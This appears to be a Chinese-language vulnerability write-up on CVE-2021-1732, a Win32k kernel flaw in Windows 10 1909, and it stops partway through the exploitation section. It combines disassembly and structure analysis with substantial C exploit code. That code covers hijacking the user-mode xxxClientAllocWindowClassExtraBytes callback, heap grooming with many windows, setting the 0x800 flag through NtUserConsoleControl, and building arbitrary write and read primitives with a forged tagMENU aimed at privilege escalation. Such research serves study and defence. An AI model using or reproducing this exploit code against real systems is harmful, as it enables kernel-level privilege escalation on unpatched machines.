一.前言
1.漏洞描述
win32kfull!xxxCreateWindowEx函数创建窗口的过程中,当创建的窗口对象存在扩展内存的时候,会通过函数KeUserModeCallback返回用户层,申请需要的内存。返回到内核继续执行的时候,会将用户层函数中指定的地址保存到窗口对象偏移0x128的pExtraBytes成员中。当用户层对窗口调用SetWindowLongPtr函数的时候,函数会将pExtraBytes用于指定要写入的目标地址。通过劫持用户层函数的执行,可以让SetWindowLongPtr函数对不合法地址进行写入会产生BSOD,也可以通过计算来扩大其他窗口的cbwndExtra,从而实现任意地址读写,最终实现提权。
2.实验环境
操作系统:Win10 x64 1909 专业版
编译器:Visual Studio 2017
调试器:IDA Pro, WinDbg
二.漏洞分析
1.关键结构体成员
新的Win10版本修改了比较多的win32k*中的结构体,并且没有导出。所以以下部分成员只能是通过推测得出,首先是保存线程信息的tagTHREADINFO结构体,其偏移0x1C0保存的是tagDESKTOP结构体:
1: kd> dt tagTHREADINFO
+0x1C0 rpdesk : Ptr64 tagDESKTOP
tagDESKTOP偏移0x80处保存的是pheapDesktop,该成员保存的是桌面堆的基址:
0: kd> dt tagDESKTOP
+0x080 pheapDesktop : Ptr64 tagWIN32HEAP
tagWND有了比较大的变化,窗口的扩展内存不在直接跟在tagWND之后,当偏移0xE8的Flags不包含0x800标记的时候,扩展内存的地址直接保存在0x128的pExtraBytes中,当Flags包含0x800标记的时候,扩展内存存在于桌面堆中,与桌面堆基址的偏移保存在了0x128的pExtraBytes中。偏移0x28指向了tagWDNK结构体,偏移0x8和0x30处保存了0x28所指向的地址于桌面堆地址的偏移:
2: kd> dt tagWND
+0x000 h : Ptr64 Void
+0x008 DesktopOffset : Uint8B
+0x010 pti : Ptr64 tagTHREADINFO
+0x018 rpdesk : Ptr64 tagDESKTOP
+0x020 pSelf : Ptr64 tagWND
+0x028 ptagWNDK : Ptr64 tagWNDK
+0x030 DesktopOffset : Uint8B
+0x058 Left : Uint4B
+0x05C Right : Uint4B
+0x098 spMenu : Ptr64 tagMENU
+0x0C8 cbwndExtra : UInt4B
+0x0E8 Flags : UInt4B
+0x128 pExtraBytes : Uint8B
偏移0xA8指向的tagMENU,这里只需要知道tagMENU结构体偏移0x98的pSelf指向的是tagMENU本身,而0x28的tagWDNK结构体如下:
struct tagWNDK
{
ULONG64 hWnd; //+0x00
ULONG64 OffsetToDesktopHeap;//+0x08 tagWNDK相对桌面堆基址偏移
ULONG64 state; //+0x10
DWORD dwExStyle; //+0x18
DWORD dwStyle; //+0x1C
BYTE gap[0x38];
DWORD rectBar_Left; //0x58
DWORD rectBar_Top; //0x5C
BYTE gap1[0x68];
ULONG64 cbWndExtra; //+0xC8 窗口扩展内存的大小
BYTE gap2[0x18];
DWORD dwExtraFlag; //+0xE8 决定SetWindowLong寻址模式
BYTE gap3[0x10]; //+0xEC
DWORD cbWndServerExtra; //+0xFC
BYTE gap5[0x28];
ULONG64 pExtraBytes; //+0x128 模式1:内核偏移量 模式2:用户态指针
};
2.HMAllocObject函数分析
该函数定义如下,当第三个参数bType指定为TYPE_WINDOW(0x1)的时候,就会用于创建窗口对象:
PVOID HMAllocObject(PTHREADINFO ptiOwner,
PDESKTOP pdeskSrc,
BYTE bType,
DWORD size);
函数的主要代码如下,
unsigned __int64 __fastcall HMAllocObject(__int64 ptiOwner, __int64 pdeskSrc, unsigned __int8 bType, unsigned int size)
{
v9 = *((_WORD *)&gahti + 0xC * Type + 6);
if ( (v9 & 0x10) != 0 && pdeskSrc )
{
if ( (int)IsDesktopAllocSupported() < 0 )
goto LABEL_67;
tagWnd = (unsigned __int64)HMAllocateUserOrIsolatedType(v5, v9, Type); // 创建tagWND对象
if ( !tagWnd )
goto LABEL_67;
ptagWNDk = DesktopAlloc(pdeskSrc,
*(unsigned int *)((char *)&gahti + v38 + 0x10),
((unsigned __int8)Type << 16) | 5u); // 创建tagWNDK对象
*(_QWORD *)(tagWnd + 0x28) = ptagWNDk; // tagWND->ptagWNDK赋值为创建的tagWNDK对象
if ( !ptagWNDk )
{
HMFreeUserOrIsolatedType(v9, Type, (void *)tagWnd);
goto LABEL_67;
}
LockObjectAssignment((void **)(tagWnd + 0x18), (void *)pdeskSrc);
ptagWNDk = *(_QWORD *)(tagWnd + 0x28);
*(_QWORD *)(tagWnd + 0x20) = tagWnd; // 为tagWND->pSelf赋值
*(_QWORD *)(tagWnd + 0x30) = ptagWNDk - *(_QWORD *)(pdeskSrc + 0x80); // 将ptagWNDK与pheapDesktop的偏移赋值给tagWND偏移0x30处
}
hwnd = (int)v15 | (unsigned __int64)(*(unsigned __int16 *)((char *)qword_1C0215758
+ v15 * (unsigned int)dword_1C0215760
+ 0x1A) << 16); // 获取窗口句柄
*(_QWORD *)tagWnd = hwnd; // 为tagWND->hWnd赋值
if ( *(_DWORD *)((char *)&gahti + v38 + 0x10) )
{
ptagWNDk = *(_QWORD *)(tagWnd + 0x28);
*(_QWORD *)ptagWNDk = hwnd; // 为ptagWNDK->hWnd赋值
*(_QWORD *)(ptagWNDk + 8) = *(_QWORD *)(tagWnd + 0x30); // 将ptagWNDK与pheapDesktop的偏移赋值给ptagWNDK偏移0x8处
}
return tagWND;
}
3.xxxCreateWindowEx函数分析
从gptiCurrent中获取rpdesk成员,之后调用HMAllocateObject函数来申请tagWND对象:
.text:00000001C003BCCB mov rax, cs:__imp_gptiCurrent
.text:00000001C003BCD2 mov r14, [rax]
.text:00000001C003BCD5 mov [rsp+4E8h+var_488], r14
.text:00000001C003BCDA mov [rsp+4E8h+var_370], r14
.text:00000001C003C1E2 mov r15, [rsp+4E8h+var_370]
.text:00000001C003BDDC mov rax, [r14+1C0h] ; rax = tagTHREADINFO->rpdesk
.text:00000001C003BDE3 mov [rsp+4E8h+rpdesk], rax
// 省略部分代码
.text:00000001C003C198 xor ebx, ebx
.text:00000001C003C1AC lea esi, [rbx+1]
.text:00000001C003C347 mov r9d, 150h ; r9d = 0x150
.text:00000001C003C34D mov r8b, sil ; r8d = 1
.text:00000001C003C350 mov rdx, [rsp+4E8h+pdesk] ; rdx = rpdesk
.text:00000001C003C358 mov rcx, r15 ; rcx = ptiCurrent
.text:00000001C003C35B call cs:__imp_HMAllocObject
.text:00000001C003C362 nop dword ptr [rax+rax+00h]
.text:00000001C003C367 mov r15, rax ; 将tagWND赋给r15
.text:00000001C003C36A mov [rsp+4E8h+var_tagWND], rax
.text:00000001C003C372 test rax, rax
.text:00000001C003C375 jnz short loc_1C003C3BF
调用tagWND::RedirectedFieldcbwndExtra<int>::operator!=判断cbWndExtra来判断是否存在扩展内存,存在的话就会调用xxxClientAlloWindowClassExtraBytes来创建扩展内存:
.text:00000001C003CDDB mov dword ptr [rsp+4E8h+var_3F8], edi ; edi=0
.text:00000001C003CDE2 lea rcx, [r15+0B1h]
.text:00000001C003CDE9 lea rdx, [rsp+4E8h+var_3F8]
.text:00000001C003CDF1 call ??9?$RedirectedFieldcbwndExtra@H@tagWND@@QEBAEAEBH@Z ; tagWND::RedirectedFieldcbwndExtra<int>::operator!=(int const &)
.text:00000001C003CDF6 test al, al
.text:00000001C003CDF8 jz short loc_1C003CE44
.text:00000001C003CDFA mov rax, [r15+28h] ; rax = tagWND->ptagWNDK
.text:00000001C003CDFE mov ecx, [rax+0C8h] ; rcx = tagWNDK->cbwndExtra
.text:00000001C003CE04 call xxxClientAllocWindowClassExtraBytes
.text:00000001C003CE09 mov rcx, rax ; 申请内存地址赋给ecx
.text:00000001C003CE0C mov rax, [r15+28h] ; rax = tagWND->ptagWNDK
.text:00000001C003CE10 mov [rax+128h], rcx ; 申请内存地址赋给tagWNDK->pExtraBytes
4.xxxClientAllocWindowClassExtraBytes函数分析
xxxClientAllocWindowClassExtraBytes函数的主要代码如下,函数会调用KeUserModeCallback来发起用户层的回调来申请内存。从用户层返回之后,函数会对输出长度及输出地址进行判断,通过判断后,就会将申请的内存地址返回:
const void *__fastcall xxxClientAllocWindowClassExtraBytes(SIZE_T Length)
{
LODWORD(pInputBuffer) = Length;
ret = KeUserModeCallback(0x7Bi64, &pInputBuffer, 4i64, &pOutputBuffer, &nOutLen);
if ( ret < 0 || (_DWORD)nOutLen != 0x18 ) // 输出长度等于0x18
return 0i64;
v3 = pOutputBuffer;
if ( pOutputBuffer + 1 < pOutputBuffer || (unsigned __int64)(pOutputBuffer + 1) > *(_QWORD *)MmUserProbeAddress )
v3 = *(__int64 **)MmUserProbeAddress;
pAllocBuffer = (const void *)*v3;
ProbeForRead(pAllocBuffer, size, v5 != 0 ? 1 : 4);
return pAllocBuffer;
}
用户层函数的实现则下所示,函数通过RtlAllocateHeap来申请需要大小的内存,之后将其放入Result[0]中,之后会通过NtCallbackReturn函数将申请的内存通过Result数组来申请的内存返回到内核层,第二个参数用来指定返回的数据的长度:
5.xxxSetWindowLongPtr函数分析
xxxSetWindowLongPtr函数用来对窗口的扩展区域进行写入,当nIndex小于0的时候,函数会调用xxxSetWindowData来写入值:
.text:00000001C008D383 test edi, edi ; nIndex >= 0则跳转
.text:00000001C008D385 jns loc_1C008D487
.text:00000001C008D38B mov r9d, r12d
.text:00000001C008D38E mov r8, r15
.text:00000001C008D391 mov edx, edi
.text:00000001C008D393 mov rcx, rsi ; struct tagWND *
.text:00000001C008D396 call xxxSetWindowData
.text:00000001C008D39B mov rdi, rax
如果nIndex大于等于0,函数就会判断nIndex + 8是否大于cbwndExtra,如果大于则会设置错误,之后退出函数:
.text:00000001C008D487 loc_1C008D487:
.text:00000001C008D487 mov r8, [rsi+28h] ; r8 = tagWND->ptagWNDK
.text:00000001C008D48B mov ecx, [r8+0C8h] ; ecx = ptagWNDK->cbwndExtra
.text:00000001C008D492 mov r9d, [r8+0FCh] ; 该偏移的成员为知,但是值为0
.text:00000001C008D499 add ecx, r9d
.text:00000001C008D49C mov eax, edi ; eax = nIndex
.text:00000001C008D49E add rax, 8
.text:00000001C008D4A2 cmp rax, rcx
.text:00000001C008D4A5 ja loc_1C008D696 ; 如果nIndex + 8 > cbwndExtra,则跳转
.text:00000001C008D696 loc_1C008D696:
.text:00000001C008D696 mov ecx, 585h
.text:00000001C008D69B call UserSetLastError
.text:00000001C008D6A0 test bl, bl
.text:00000001C008D6A2 jnz loc_1C01855D0
.text:00000001C008D6A8 xor eax, eax
.text:00000001C008D6AA jmp loc_1C008D3A9
如果nIndex + 8 <= cbwndExtra的时候,函数会判断窗口对象是否带有0x800标记,如果有0x800标记,则会将寄存器r8会赋值为nIndex + pExtraBytes:
.text:00000001C008D4E2 test dword ptr [r8+0E8h], 800h ; ptagWNDK->Flags是否包含0x800标记
.text:00000001C008D4ED jnz loc_1C018566C
.text:00000001C008D4F3 mov rax, [r8+128h] ; rax = ptagWNDK->pExtraBytes
.text:00000001C008D4FA movsxd r8, edi ; r8 = nIndex
.text:00000001C008D4FD add r8, rax ; r8 = nIndex + pExtraBytes
如果不带有0x800标记,就会将寄存器r8赋值为pheapDesktop + nIndex + pExtraBytes:
.text:00000001C018566C loc_1C018566C:
.text:00000001C018566C mov rdx, [r8+128h] ; rdx = ptagWNDK->pExtraBytes
.text:00000001C0185673 mov rax, [rsi+18h] ; rax = tagWND->rpdesk
.text:00000001C0185677 movsxd rcx, edi ; rcx = nIndex
.text:00000001C018567A mov r8, [rax+80h] ; r8 = tagDESKTOP->pheapDesktop
.text:00000001C0185681 add r8, rcx ; r8 = pheapDesktop + nIndex
.text:00000001C0185684 add r8, rdx ; r8 = pheapDesktop + nIndex + pExtraBytes
.text:00000001C0185687 jmp loc_1C008D500
无论是否带有0x800标记,对r8赋值完之后,函数接下来就会将r8所指向地址中的内容保存到局部变量中,在将dwNewLong赋值到r8所指的地址:
.text:00000001C008D500 loc_1C008D500:
.text:00000001C008D500 mov rdi, [r8]
.text:00000001C008D503 mov [rsp+88h+var_oldNew], rdi
.text:00000001C008D508 mov [r8], r15 ; 将dwNewLong赋值到寄存器所指向的地址
.text:00000001C008D50B jmp loc_1C008D39E
三.漏洞验证
1.修改pExtraBytes
由于xxxCreateWindowEx函数没有对用户层通过NtCallbackReturn函数指定的地址进行合法性验证,就将其赋值到窗口对象的pExtraBytes中。而对相应窗口调用SetWindowLongPtr的时候,会直接将pExtraBytes用于来指定读写地址。所以,通过对用户层的xxxClientAllocWindowClassExtraBytes进行劫持,可以将pExtraBytes指定为特定的值来触发BSOD。
为了可以在指定的窗口来修改函数,首先创建触发漏洞窗口的时候,扩展内存的大小,即cbwndExtra要指定为一个特定的值:
BOOL InitTriggerWnd()
{
BOOL bRet = TRUE;
HINSTANCE handle = NULL;
handle = GetModuleHandle(NULL);
if (!handle)
{
bRet = FALSE;
ShowError("GetModuleHandle", GetLastError());
goto exit;
}
PCHAR pClassName = "Trigger";
WNDCLASSEX wndClass = { 0 };
wndClass.cbSize = sizeof(wndClass);
wndClass.lpfnWndProc = DefWindowProc;
wndClass.style = CS_VREDRAW | CS_HREDRAW;
wndClass.cbWndExtra = g_dwWndExtra; // 指定特定的大小
wndClass.hInstance = handle;
wndClass.lpszClassName = pClassName;
if (!RegisterClassEx(&wndClass))
{
bRet = FALSE;
ShowError("RegisterClassEx", GetLastError());
goto exit;
}
g_hTriggerWnd = CreateWindowEx(WS_EX_NOACTIVATE,
pClassName,
NULL,
WS_DISABLED,
0, 0, 0, 0,
NULL,
NULL,
handle,
NULL);
if (!g_hTriggerWnd)
{
bRet = FALSE;
ShowError("CreateWindowEx", GetLastError());
goto exit;
}
exit:
return bRet;
}
接下来可以在劫持的函数中,通过要申请内存的大小判断是否为目标窗口:
NTSTATUS MyxxxClientAllocWindowClassExtraBytes(PVOID arg0)
{
if (*(PDWORD)arg0 == g_dwWndExtra)
{
BYTE bRes[0x18] = { 0 };
// 设置tagWND->pExtraBytes
*(PULONG64)bRes = 0x100;
return fnNtCallbackReturn(bRes, sizeof(bRes), 0);
}
return g_orgClientAllocWindowExtraBytes(arg0);
}
此时可以在xxxSetWindowLongPtr中关键位置下断点,因为创建的窗口对象的Flags不会带有0x800标记,所以函数会直接取出pExtraBytes用于读写,此时的地址为指定的不合法的0x100。按道理,继续执行会出现BSOD,然而事实上继续运行,函数会直接退出(应该有什么处理机制)。
2.xxxConsoleControl函数分析
xxxSetWindowLongPtr会通过tagWND->Flags来选择不同方式来指定用于读写的地址,要在Flags中加入0x800标记,可以通过xxxConsoleControl函数来实现,该函数定义如下:
__int64 __fastcall xxxConsoleControl(int nIndex,
struct _CONSOLE_PROCESS_INFO *pInfo,
int nInLength);
.text:00000001C00E0571 mov edi, r8d ; edi = nLength
.text:00000001C00E0580 test ecx, ecx
.text:00000001C00E0582 jz loc_1C01A3F71
.text:00000001C00E0588 sub ecx, 1
.text:00000001C00E058B jz loc_1C00E0671
.text:00000001C00E0591 sub ecx, 1
.text:00000001C00E0594 jz loc_1C01A3F5B
.text:00000001C00E059A sub ecx, 1
.text:00000001C00E059D jz loc_1C00E0686
.text:00000001C00E05A3 sub ecx, 1
.text:00000001C00E05A6 jz loc_1C01A3F30
.text:00000001C00E05AC sub ecx, 1 ; nIndex - 5 != 0
.text:00000001C00E05AF jnz loc_1C00E06A3
// 省略部分代码
.text:00000001C00E06A3 loc_1C00E06A3:
.text:00000001C00E06A3 cmp ecx, 1 ; nIndex = 6不跳转
.text:00000001C00E06A6 jnz loc_1C01A3F12
.text:00000001C00E06AC cmp edi, 10h ; nInLength == 0x10不跳转
.text:00000001C00E06AF jnz loc_1C01A3F71
.text:00000001C00E06B5 mov rcx, [rdx] ; rcx = [pInfo]
.text:00000001C00E06B8 call cs:__imp_ValidateHwnd
.text:00000001C00E06BF nop dword ptr [rax+rax+00h]
.text:00000001C00E06C4 mov rdi, rax ; rdi = tagWND
判断Flags是否带有0x800标记:
.text:00000001C00E0772 test dword ptr [rcx+0E8h], 800h ; tagWND->Flags是否包含0x800
.text:00000001C00E077C jz short loc_1C00E07BE
因为创建的窗口不带有0x800标记,函数就会调用DesktopAlloc来申请一块新的内存:
.text:00000001C00E07BE loc_1C00E07BE:
.text:00000001C00E07BE mov edx, [rcx+0C8h] ; edx = tagWND->cbwndExtra
.text:00000001C00E07C4 xor r8d, r8d
.text:00000001C00E07C7 mov rcx, [rdi+18h] ; rcx = tagWND->rpdesk
.text:00000001C00E07CB call DesktopAlloc
.text:00000001C00E07D0 mov r14, rax ; r14 = 申请的内存地址
.text:00000001C00E07D3 mov [rsp+0B8h+var_heap], rax ; 保存到局部变量中
.text:00000001C00E07D8 test rax, rax
.text:00000001C00E07DB jz loc_1C01A3F1C
接下来将新创建的内存地址减去pheapDesktop得到的偏移赋值到ptagWNDK->pExtraBytes中:
.text:00000001C00E0876 loc_1C00E0876:
.text:00000001C00E0876 mov rax, [rdi+18h] ; rax = tagWND->rpdesk
.text:00000001C00E087A mov rcx, r14 ; rcx等于刚申请的内存
.text:00000001C00E087D sub rcx, [rax+80h] ; rcx = 新申请的内存减去rpdesk->pheapDesktop
.text:00000001C00E0884 mov rax, [r15] ; rax = tagWND->ptagWNDK
.text:00000001C00E0887 mov [rax+128h], rcx ; ptagWNDK->pExtraBytes = rcx
.text:00000001C00E088E jmp loc_1C00E0790
之后就是在Flags中增加0x800标记:
.text:00000001C00E07A2 loc_1C00E07A2:
.text:00000001C00E07A2 mov rax, [r15] ; rax = tagWND->ptagWNDK
.text:00000001C00E07A5 bts dword ptr [rax+0E8h], 0Bh ; 将ptagWNDK->Flags第0xB位设为1,即在Flags中增加0x800标记
3.漏洞触发
想要成功触发漏洞,需要通过xxxConsoleControl函数在Flags中增加0x800标记,但是调用xxxConsoleControl的时候,需要传入窗口的句柄,而在用户层的xxxClientAllocWindowClassExtraBytes执行过程中,用户层的CreateWindow函数还未返回,因为还未拿到窗口的句柄。但,在xxxCreateWindowEx函数在调用xxxClientAllocWindowClassExtraBytes之前,已经将窗口句柄赋值到窗口对象偏移0x0处。
因此,可以首先创建大量的窗口,然后释放掉其中的部分窗口,这样之后创建触发漏洞的窗口占用的内存就会占用到这些释放的窗口。
BOOL Init_CVE_2021_1732()
{
BOOL bRet = TRUE;
DWORD i = 0;
lHMValidateHandle HMValidateHandle = NULL;
HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();
if (!HMValidateHandle)
{
bRet = FALSE;
goto exit;
}
HINSTANCE handle = NULL;
handle = GetModuleHandle(NULL);
if (!handle)
{
bRet = FALSE;
ShowError("GetModuleHandle", GetLastError());
goto exit;
}
WNDCLASSEX wndClass = { 0 };
PCHAR pClassName = "leak";
wndClass.cbWndExtra = 0x20;
wndClass.cbSize = sizeof(wndClass);
wndClass.style = CS_VREDRAW | CS_HREDRAW;
wndClass.hInstance = handle;
wndClass.lpfnWndProc = DefWindowProc;
wndClass.lpszClassName = pClassName;
if (!RegisterClassEx(&wndClass))
{
bRet = FALSE;
ShowError("RegisterClassEx", GetLastError());
goto exit;
}
HWND hWnd = NULL;
for (i = 0; i < g_dwWinNum; i++)
{
hWnd = CreateWindowEx(WS_EX_NOACTIVATE,
pClassName,
NULL,
WS_DISABLED,
0, 0, 0, 0,
NULL,
NULL,
handle,
NULL);
if (!hWnd) continue;
g_hWnd[i] = hWnd;
g_pWnd[i] = (ULONG64)HMValidateHandle(hWnd, TYPE_WINDOW);
}
// 释放部分窗口,之后创建触发漏洞的窗口会占用释放的这些窗口中的其中一个
for (i = 2; i < g_dwWinNum; i += 2)
{
if (g_hWnd[i])
{
DestroyWindow(g_hWnd[i]);
}
}
exit:
return bRet;
}
此时,就可以从释放的窗口中搜索触发漏洞的窗口,之后就可以修改窗口标记,在返回指定的地址:
NTSTATUS MyxxxClientAllocWindowClassExtraBytes(PVOID arg0)
{
if (*(PDWORD)arg0 == g_dwWndExtra)
{
HWND hTriggerWnd = NULL;
DWORD i = 0;
for (i = 2; i < g_dwWinNum; i += 2)
{
if (g_hWnd[i])
{
DWORD cbWndExtra = *(PDWORD)(g_pWnd[i] + g_cbWndExtra_offset);
if (cbWndExtra == g_dwWndExtra)
{
hTriggerWnd = (HWND)*(PULONG64)g_pWnd[i];
break;
}
}
}
if (hTriggerWnd)
{
BYTE bInfo[0x10] = { 0 };
// tagWND->Flag |= 0x800
*(HWND *)bInfo = hTriggerWnd;
fnNtUserConsoleControl(6, bInfo, sizeof(bInfo));
BYTE bRes[0x18] = { 0 };
// 设置tagWND->pExtraBytes
*(PULONG64)bRes = 0xFFFFFF00;
return fnNtCallbackReturn(bRes, sizeof(bRes), 0);
}
else printf("do not find hTriggerWnd\n");
}
return g_orgClientAllocWindowExtraBytes(arg0);
}
再次在xxxSetWindowLongPtr处下断点,此时窗口的Flags带有0x800标记,所以会通过不同的方法来计算要读写的内存地址,该地址是无效的:
继续运行就会产生BSOD错误:
四.漏洞利用
1.任意地址写
根据上面的内容可以得出以下的内容:
tagWNDK + 8处保存的是ptagWNDK - pheapDesktop
通过xxxConsoleControl增加0x800标记的时候,会将窗口的pExtraBytes修改为新申请的内存地址减去pheapDesktop的值
当Flags包含0x800标记,SetWindowLongPtr要读写的地址是pheapDesktop + nIndex + pExtraBytes的值
当Flags不包含0x800标记,SetWindowLongPtr要读写的地址是pExtraBytes + nIndex
pheapDesktop的值是相同的,且现在可以修改pExtraBytes以及为Flags可以增加0x800标记。此时,实现任意地址写的思路如下:
创建两个窗口,分别为tagWND0,tagWND1
在tagWND0中增加0x800标记,这样tagWND0->pExtraBytes中保存的就是与pheapDesktop的偏移
在用户层的xxxClientAllocWindowClassExtraBytes函数中,在调用NtCallbackReturn函数返回的时候,将地址修改为tagWND0 + 8处保存的偏移,这样对触发漏洞的窗口调用SetWindowLongPtr,就可以直接扩大tagWND0中的cbwndExtra
因为tagWND0的pExtraBytes指向的是pheapDesktop的偏移,而tagWNDK1也保存在相对于pheapDesktop的偏移,而该值可以通过tagWND1 + 8处来获取,这样可以计算出tagWND0->pExtraBytes与tagWND1 + 8的偏移。又因为tagWND0的cbwndExtra被扩大了,这样就可以通过tagWND0直接修改tagWND1的pExtraBytes
因为tagWND1没有具有0x800标记,所以直接对tagWND1调用SetWindowLongPtr会直接对pExtraBytes指向的地址进行写入,由此就实现任意地址写
在之前释放窗口的时候,是从下标2开始释放窗口,就是因为要将创建的第一个和第二个窗口作为tagWND0和tagWND1用于之后利用。此时,在循环创建窗口的时候,需要对创建的第0个窗口加入0x800标记,且记录需要用到的偏移:
if (i == 0)
{
g_qwKernelHeapOffset0 = *(PQWORD)(g_pWnd[i] + 8);
BYTE bInfo[0x10] = { 0 };
*(HWND *)bInfo = g_hWnd[0];
fnNtUserConsoleControl(6, bInfo, sizeof(bInfo));
g_qwWndOffset = *(PQWORD)(g_pWnd[i] + g_ExtraBytes_offset);
}
释放窗口以后,就可以计算第4步需要的偏移:
g_qwKernelHeapOffset1 = *(PQWORD)(g_pWnd[1] + 8);
if (g_qwWndOffset > g_qwKernelHeapOffset1)
{
bRet = FALSE;
printf("g_pWnd[0] offset is invalid!\n");
goto exit;
}
g_qwWndOffset = g_qwKernelHeapOffset1 - g_qwWndOffset;
此时对于触发漏洞的窗口,需要将返回值修改为tagWDN0 + 8的保存的值:
if (hTriggerWnd)
{
BYTE bInfo[0x10] = { 0 };
// tagWND->Flag |= 0x800
*(HWND *)bInfo = hTriggerWnd;
fnNtUserConsoleControl(6, bInfo, sizeof(bInfo));
BYTE bRes[0x18] = { 0 };
// 设置tagWND->pExtraBytes
*(PULONG64)bRes = g_qwKernelHeapOffset0;
return fnNtCallbackReturn(bRes, sizeof(bRes), 0);
}
当创建完用于触发漏洞的窗口之后,可以通过函数扩大tagWND0的cbwndExtra:
// 将g_hWnd[0]的cbwndExtra设为0xFFFFFFFF
if (!SetWindowLongPtr(g_hTriggerWnd, g_cbWndExtra_offset, 0xFFFFFFFF) &&
GetLastError() != 0)
{
bRet = FALSE;
ShowError("SetWindowLongPtr", GetLastError());
goto exit;
}
现在就可以通过tagWND0修改tagWND1的pExtraBytes来实现任意地址写入:
BOOL WriteData_CVE_2021_1732(PVOID pTarAddress, QWORD qwValue)
{
BOOL bRet = TRUE;
if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + g_ExtraBytes_offset, (QWORD)pTarAddress) &&
GetLastError() != 0)
{
bRet = FALSE;
ShowError("SetWindowLongPtr", GetLastError());
goto exit;
}
if (!SetWindowLongPtr(g_hWnd[1], 0, qwValue) && GetLastError() != 0)
{
bRet = FALSE;
ShowError("SetWindowLongPtr", GetLastError());
goto exit;
}
exit:
return bRet;
}
2.任意地址读
任意地址的读通过GetMenuBarInfo函数来实现,该函数定义如下,其中第三个参数的pmbi->rcBar用来记录读取到的值:
BOOL
WINAPI
GetMenuBarInfo(
_In_ HWND hwnd,
_In_ LONG idObject,
_In_ LONG idItem,
_Inout_ PMENUBARINFO pmbi);
typedef struct tagMENUBARINFO {
DWORD cbSize;
RECT rcBar;
HMENU hMenu;
HWND hwndMenu;
BOOL fBarFocused:1;
BOOL fFocused:1;
} MENUBARINFO, *PMENUBARINFO;
typedef struct _RECT {
LONG left;
LONG top;
LONG right;
LONG bottom;
} RECT, *PRECT;
GetMenuBarInfo对应的内核函数是xxxGetMenuBarInfo函数,该函数的主要代码如下,先有三处验证,验证通过之后,会将*(spMenu + 0x58)中保存的地址用于读取相应值,在保存于pmbi的rcBar中:
__int64 __fastcall xxxGetMenuBarInfo(ULONG_PTR pwnd, __int64 idObject, __int64 idItem, __int64 pmbi)
{
switch ( idObject )
{
case -3: // idObject == -3,第一处验证
if ( (*(_BYTE *)(spMenu + 0x1F) & 0x40) != 0 )
goto LABEL_9;
spMenu = *(_QWORD *)(pwnd + 0xA8); // tagWND->spMenu不存在则返回,第二处验证
if ( !spMenu )
goto LABEL_9;
SmartObjStackRefBase<tagMENU>::operator=(&kspMenu, spMenu); // kspMenu = spMenu->spSelf
if ( *(_DWORD *)(*kspMenu + 0x40) && *(_DWORD *)(*kspMenu + 0x44)) // *(spMenu + 0x40) != 0 && *(spMenu + 0x44) != 0,第三处验证
{
if ( (_DWORD)IdItem ) // idItem == 1
{
ptagWNDk = *(_QWORD *)(pwnd + 0x28);
num_0x60 = 0x60 * IdItem;
rgItemListEntry = *(_QWORD *)(*kspMenu + 0x58);
tarAddr = *(_QWORD *)(0x60 * IdItem + rgItemListEntry - 0x60);// tarAddr = *(spMenu + 0x58)
if ( (*(_BYTE *)(ptagWNDk + 0x1A) & 0x40) != 0 )
{
v49 = *(_DWORD *)(ptagWNDk + 0x60) - *(_DWORD *)(tarAddr + 0x40);
*(_DWORD *)(pmbi + 0xC) = v49;
*(_DWORD *)(pmbi + 4) = v49 - *(_DWORD *)(*(_QWORD *)(num_0x60 + rgItemListEntry - 0x60) + 0x48i64);
}
else // 这里会走else分支
{
value = *(_DWORD *)(tarAddr + 0x40) + *(_DWORD *)(ptagWNDk + 0x58);// value = *(*(spMenu + 0x58) + 0x40) + ptagWNDK->Left
*(_DWORD *)(pmbi + 4) = value; // 为pmbi->rcBar->left赋值
*(_DWORD *)(pmbi + 0xC) = value + *(_DWORD *)(*(_QWORD *)(num_0x60 + rgItemListEntry - 0x60) + 0x48i64);
}
Value = *(_DWORD *)(*(_QWORD *)(num_0x60 + rgItemListEntry - 0x60) + 0x44i64) + *(_DWORD *)(*(_QWORD *)(pwnd + 0x28) + 0x5Ci64);// Value = *(*(spMenu + 0x58) + 0x44) + ptagWNDK->Right
*(_DWORD *)(pmbi + 8) = Value; // 为pmbi->rcBar->top赋值
v44 = Value + *(_DWORD *)(*(_QWORD *)(num_0x60 + rgItemListEntry - 0x60) + 0x4Ci64);
}
}
}
}
第一处验证,只需调用参数时指定参数idObject为-3就行。第二处验证,在创建窗口的时候,对于用于利用的窗口需要设置spMenu:
if (i == 1)
{
// 从第1个tagWND开始将带有tagMENU对象
hMenu = CreateMenu();
hHelpMenu = CreateMenu();
if (!hMenu || !hHelpMenu)
{
bRet = FALSE;
ShowError("CreateMenu", GetLastError());
goto exit;
}
if (!AppendMenu(hHelpMenu, MF_STRING, 0x1888, TEXT("about")) &&
!AppendMenu(hMenu, MF_POPUP, (LONG)hHelpMenu, TEXT("help")))
{
bRet = FALSE;
ShowError("AppendMenu", GetLastError());
goto exit;
}
}
伪造tagMENU结构体,伪造的时候,要绕过第三处验证:
// 伪造tagMENU
HANDLE hProcHeap = NULL;
hProcHeap = GetProcessHeap();
if (!hProcHeap)
{
bRet = FALSE;
ShowError("GetProcessHeap", GetLastError());
goto exit;
}
DWORD dwHeapFlags = HEAP_ZERO_MEMORY;
g_qwMenu = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0xA0);
if (!g_qwMenu)
{
bRet = FALSE;
ShowError("GetProcessHeap", GetLastError());
goto exit;
}
*(PQWORD)(g_qwMenu + 0x98) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x20);
*(PQWORD)(*(PQWORD)(g_qwMenu + 0x98)) = g_qwMenu;
*(PQWORD)(g_qwMenu + 0x28) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x200);
*(PQWORD)(*(PQWORD)(g_qwMenu + 0x28) + 0x2C) = 1;
*(PQWORD)(g_qwMenu + 0x58) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x8);
*(PDWORD)(g_qwMenu + 0x40) = 1;
*(PDWORD)(g_qwMenu + 0x44) = 2;
把伪造的tagMENU设置到tagWND1中:
// g_hWnd[1]的style加入WS_CHILD
DWORD dwStyleOffset = 0x18;
QWORD qwStyle = *(PQWORD)(g_pWnd[1] + dwStyleOffset);
qwStyle |= 0x4000000000000000;
if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + dwStyleOffset, qwStyle) &&
GetLastError() != 0)
{
bRet = FALSE;
ShowError("SetWindowLongPtr", GetLastError());
goto exit;
}
// 将伪造的tagMENU设置到g_hWnd[1]中
